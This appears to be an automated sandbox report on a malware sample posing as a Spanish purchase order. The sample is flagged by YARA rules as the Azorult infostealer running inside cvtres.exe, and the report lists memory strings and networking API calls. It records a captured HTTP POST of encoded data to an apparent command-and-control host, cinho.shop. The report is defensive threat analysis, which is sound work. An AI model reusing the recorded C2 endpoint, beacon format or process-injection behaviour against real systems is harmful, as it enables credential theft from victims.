Source: cvtres.exe, 00000001.00000003.269785480.00000000078CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.284438762.00000000075FC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269369848.00000000078D4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272644545.00000000066CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287248341.000000000765C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.271250139.00000000083A0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.285608637.0000000007600000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.270748656.00000000084D0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286974853.0000000007608000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289068722.00000000076EC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289451882.000000000781C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287286269.0000000007684000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272309123.0000000006694000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.275071389.00000000066C8000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272757796.00000000066A4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272210606.00000000083A0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286617765.0000000007604000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269057239.0000000007878000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269714098.0000000007880000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269503745.0000000007880000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: NUEVA ORDEN-MATSA 10-2022,.exe String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: cvtres.exe, 00000001.00000003.269785480.00000000078CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.284438762.00000000075FC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269369848.00000000078D4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272644545.00000000066CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287248341.000000000765C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.271250139.00000000083A0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.285608637.0000000007600000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.270748656.00000000084D0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286974853.0000000007608000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289068722.00000000076EC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289451882.000000000781C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287286269.0000000007684000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272309123.0000000006694000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.275071389.00000000066C8000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272757796.00000000066A4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272210606.00000000083A0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286617765.0000000007604000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269057239.0000000007878000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269714098.0000000007880000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269503745.0000000007880000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: NUEVA ORDEN-MATSA 10-2022,.exe, 00000000.00000002.250173775.0000000003A41000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, cvtres.exe, 00000001.00000000.248942345.0000000000400000.00000040.00000400.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.298767805.0000000000400000.00000040.00000400.00020000.00000000.sdmp, cvtres.exe, 00000001.00000000.248868745.0000000000400000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://ip-api.com/json
Source: NUEVA ORDEN-MATSA 10-2022,.exe String found in binary or memory: http://ocsp.digicert.com0A
Source: cvtres.exe, 00000001.00000003.269785480.00000000078CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.284438762.00000000075FC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269369848.00000000078D4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272644545.00000000066CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287248341.000000000765C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.271250139.00000000083A0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.285608637.0000000007600000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.270748656.00000000084D0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286974853.0000000007608000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289068722.00000000076EC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289451882.000000000781C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287286269.0000000007684000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272309123.0000000006694000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.275071389.00000000066C8000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272757796.00000000066A4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272210606.00000000083A0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286617765.0000000007604000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269057239.0000000007878000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269714098.0000000007880000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269503745.0000000007880000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0C
Source: cvtres.exe, 00000001.00000003.269785480.00000000078CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.284438762.00000000075FC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269369848.00000000078D4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272644545.00000000066CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287248341.000000000765C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.271250139.00000000083A0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.285608637.0000000007600000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.270748656.00000000084D0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286974853.0000000007608000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289068722.00000000076EC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289451882.000000000781C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287286269.0000000007684000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272309123.0000000006694000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.275071389.00000000066C8000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272757796.00000000066A4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272210606.00000000083A0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286617765.0000000007604000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269057239.0000000007878000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269714098.0000000007880000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269503745.0000000007880000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0N
Source: NUEVA ORDEN-MATSA 10-2022,.exe String found in binary or memory: http://ocsp.digicert.com0X
Source: cvtres.exe, 00000001.00000003.269785480.00000000078CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.284438762.00000000075FC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269369848.00000000078D4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272644545.00000000066CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287248341.000000000765C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.271250139.00000000083A0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.285608637.0000000007600000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.270748656.00000000084D0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286974853.0000000007608000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289068722.00000000076EC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289451882.000000000781C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287286269.0000000007684000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272309123.0000000006694000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.275071389.00000000066C8000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272757796.00000000066A4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272210606.00000000083A0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286617765.0000000007604000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269057239.0000000007878000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269714098.0000000007880000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269503745.0000000007880000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://ocsp.thawte.com0
Source: cvtres.exe, 00000001.00000003.269785480.00000000078CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.284438762.00000000075FC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269369848.00000000078D4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272644545.00000000066CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287248341.000000000765C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.271250139.00000000083A0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.285608637.0000000007600000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.270748656.00000000084D0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286974853.0000000007608000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289068722.00000000076EC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289451882.000000000781C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287286269.0000000007684000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272309123.0000000006694000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.275071389.00000000066C8000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272757796.00000000066A4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272210606.00000000083A0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286617765.0000000007604000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269057239.0000000007878000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269714098.0000000007880000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269503745.0000000007880000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: cvtres.exe, 00000001.00000003.269785480.00000000078CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.284438762.00000000075FC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269369848.00000000078D4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272644545.00000000066CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287248341.000000000765C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.271250139.00000000083A0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.285608637.0000000007600000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.270748656.00000000084D0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286974853.0000000007608000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289068722.00000000076EC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289451882.000000000781C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287286269.0000000007684000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272309123.0000000006694000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.275071389.00000000066C8000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272757796.00000000066A4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272210606.00000000083A0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286617765.0000000007604000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269057239.0000000007878000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269714098.0000000007880000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269503745.0000000007880000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: cvtres.exe, 00000001.00000003.269785480.00000000078CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.284438762.00000000075FC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269369848.00000000078D4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272644545.00000000066CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287248341.000000000765C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.271250139.00000000083A0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.285608637.0000000007600000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.270748656.00000000084D0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286974853.0000000007608000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289068722.00000000076EC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289451882.000000000781C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287286269.0000000007684000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272309123.0000000006694000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.275071389.00000000066C8000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272757796.00000000066A4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272210606.00000000083A0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286617765.0000000007604000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269057239.0000000007878000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269714098.0000000007880000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269503745.0000000007880000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: NUEVA ORDEN-MATSA 10-2022,.exe String found in binary or memory: http://www.cyberlink.com0
Source: NUEVA ORDEN-MATSA 10-2022,.exe String found in binary or memory: http://www.cyberlink.com0/
Source: NUEVA ORDEN-MATSA 10-2022,.exe String found in binary or memory: http://www.digicert.com/CPS0
Source: cvtres.exe, 00000001.00000003.269503745.0000000007880000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: cvtres.exe, 00000001.00000003.269785480.00000000078CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.284438762.00000000075FC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269369848.00000000078D4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272644545.00000000066CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287248341.000000000765C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.271250139.00000000083A0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.285608637.0000000007600000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.270748656.00000000084D0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286974853.0000000007608000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289068722.00000000076EC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289451882.000000000781C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287286269.0000000007684000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272309123.0000000006694000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.275071389.00000000066C8000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272757796.00000000066A4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272210606.00000000083A0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286617765.0000000007604000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269057239.0000000007878000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269714098.0000000007880000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269503745.0000000007880000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.com0
Source: NUEVA ORDEN-MATSA 10-2022,.exe, 00000000.00000002.250173775.0000000003A41000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, cvtres.exe, 00000001.00000000.248942345.0000000000400000.00000040.00000400.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.298767805.0000000000400000.00000040.00000400.00020000.00000000.sdmp, cvtres.exe, 00000001.00000000.248868745.0000000000400000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://dotbit.me/a/
Source: cvtres.exe, 00000001.00000003.269785480.00000000078CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.284438762.00000000075FC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269369848.00000000078D4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272644545.00000000066CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287248341.000000000765C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.271250139.00000000083A0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.285608637.0000000007600000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.270748656.00000000084D0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286974853.0000000007608000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289068722.00000000076EC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289451882.000000000781C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287286269.0000000007684000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272309123.0000000006694000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.275071389.00000000066C8000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272757796.00000000066A4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272210606.00000000083A0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286617765.0000000007604000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269057239.0000000007878000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269714098.0000000007880000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269503745.0000000007880000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.digicert.com/CPS0
Source: unknown HTTP traffic detected: POST /PL341/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: cinho.shopContent-Length: 95Cache-Control: no-cacheData Raw: 00 00 00 46 70 9d 3b 70 9d 35 14 8b 30 63 ea 26 66 9b 45 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 8b 30 62 ec 47 14 8b 30 6d eb 26 66 9c 26 67 ea 26 66 98 26 66 97 26 66 99 42 16 8b 30 62 ef 47 70 9c 47 11 8b 30 65 e8 41 17 ec 45 17 Data Ascii: Fp;p50c&fEpGp:p7p2p7p:p3p410b0bG0m&f&g&f&f&fB0bGpG0eAE
Source: unknown DNS traffic detected: queries for: cinho.shop
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00418688 GetModuleHandleA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,InternetCrackUrlA,InternetOpenA,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,InternetCloseHandle, 1_2_00418688

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 1.0.cvtres.exe.400000.3.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 1.0.cvtres.exe.400000.3.raw.unpack, type: UNPACKEDPE Matched rule: Azorult Payload Author: kevoreilly
Source: 1.0.cvtres.exe.400000.3.raw.unpack, type: UNPACKEDPE Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 1.0.cvtres.exe.400000.4.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 1.0.cvtres.exe.400000.4.raw.unpack, type: UNPACKEDPE Matched rule: Azorult Payload Author: kevoreilly
Source: 1.0.cvtres.exe.400000.4.raw.unpack, type: UNPACKEDPE Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 1.0.cvtres.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 1.0.cvtres.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Azorult Payload Author: kevoreilly
Source: 1.0.cvtres.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 1.0.cvtres.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 1.0.cvtres.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Azorult Payload Author: kevoreilly
Source: 1.0.cvtres.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 1.0.cvtres.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 1.0.cvtres.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: Azorult Payload Author: kevoreilly
Source: 1.0.cvtres.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 1.0.cvtres.exe.400000.5.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 1.0.cvtres.exe.400000.5.raw.unpack, type: UNPACKEDPE Matched rule: Azorult Payload Author: kevoreilly
Source: 1.0.cvtres.exe.400000.5.raw.unpack, type: UNPACKEDPE Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.cvtres.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 1.2.cvtres.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Azorult Payload Author: kevoreilly
Source: 1.2.cvtres.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 1.0.cvtres.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 1.0.cvtres.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: Azorult Payload Author: kevoreilly
Source: 1.0.cvtres.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 1.0.cvtres.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 1.0.cvtres.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: Azorult Payload Author: kevoreilly
Source: 1.0.cvtres.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.cvtres.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 1.2.cvtres.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Azorult Payload Author: kevoreilly
Source: 1.2.cvtres.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 1.0.cvtres.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 1.0.cvtres.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: Azorult Payload Author: kevoreilly
Source: 1.0.cvtres.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 1.0.cvtres.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 1.0.cvtres.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Azorult Payload Author: kevoreilly
Source: 1.0.cvtres.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 1.0.cvtres.exe.400000.5.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 1.0.cvtres.exe.400000.5.unpack, type: UNPACKEDPE Matched rule: Azorult Payload Author: kevoreilly
Source: 1.0.cvtres.exe.400000.5.unpack, type: UNPACKEDPE Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.cvtres.exe.7e35982.5.raw.unpack, type: UNPACKEDPE Matched rule: OlympicDestroyer Payload Author: kevoreilly
